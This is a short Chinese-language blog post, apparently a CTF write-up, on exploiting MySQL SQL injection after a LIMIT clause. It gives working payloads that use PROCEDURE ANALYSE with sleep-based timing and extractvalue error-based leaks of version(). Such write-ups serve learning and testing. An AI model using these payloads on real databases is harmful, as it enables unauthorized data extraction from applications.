Mysql注入点在limit关键字后面的利用方法

遇到一个这样贱贱的题目:
小明经过学习，终于对SQL注入有了理解，她知道原来sql注入的发生根本原因还是数据和语句不能正确分离的原因，导致数据作为sql语句执行；但是是不是只要能够控制sql语句的一部分就能够来利用获取数据呢？小明经过思考知道，where条件可控的情况下，实在是太容易了，但是如果是在limit条件呢？

所以就写一篇博客记录一下

先看看 mysql 5.x 的文档中的 select 的语法：
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr …]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], … [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], …]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE ‘file_name’ export_options
| INTO DUMPFILE ‘file_name’
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]

就是说在where之后还有那么多的语句可以写在select语句中，这里我们用到的就是Limit,limit 关键字后面还有 PROCEDURE 和 INTO 关键字，into 关键字可以用来写文件，但这在本文中不重要，这里的重点是 PROCEDURE 关键字.MySQL默认可用的存储过程只有 ANALYSE (doc)。

直接将例子：

select * from users where id=1 LIMIT 1,1 PROCEDURE ANALYSE(1,1);

和延时注入结合

select * from users where id=1 LIMIT 1,1 procedure analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);

和报错注入结合

select * from users where id=1 LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

就那我遇到的那个题目来说，找到注入点之后，直接写上procedure~~~语句，里面的报错注入语句可以改为

procedure analyse(·········报错注入语句·········,1)

我是参考的这篇文章https://www.freebuf.com/articles/web/57528.html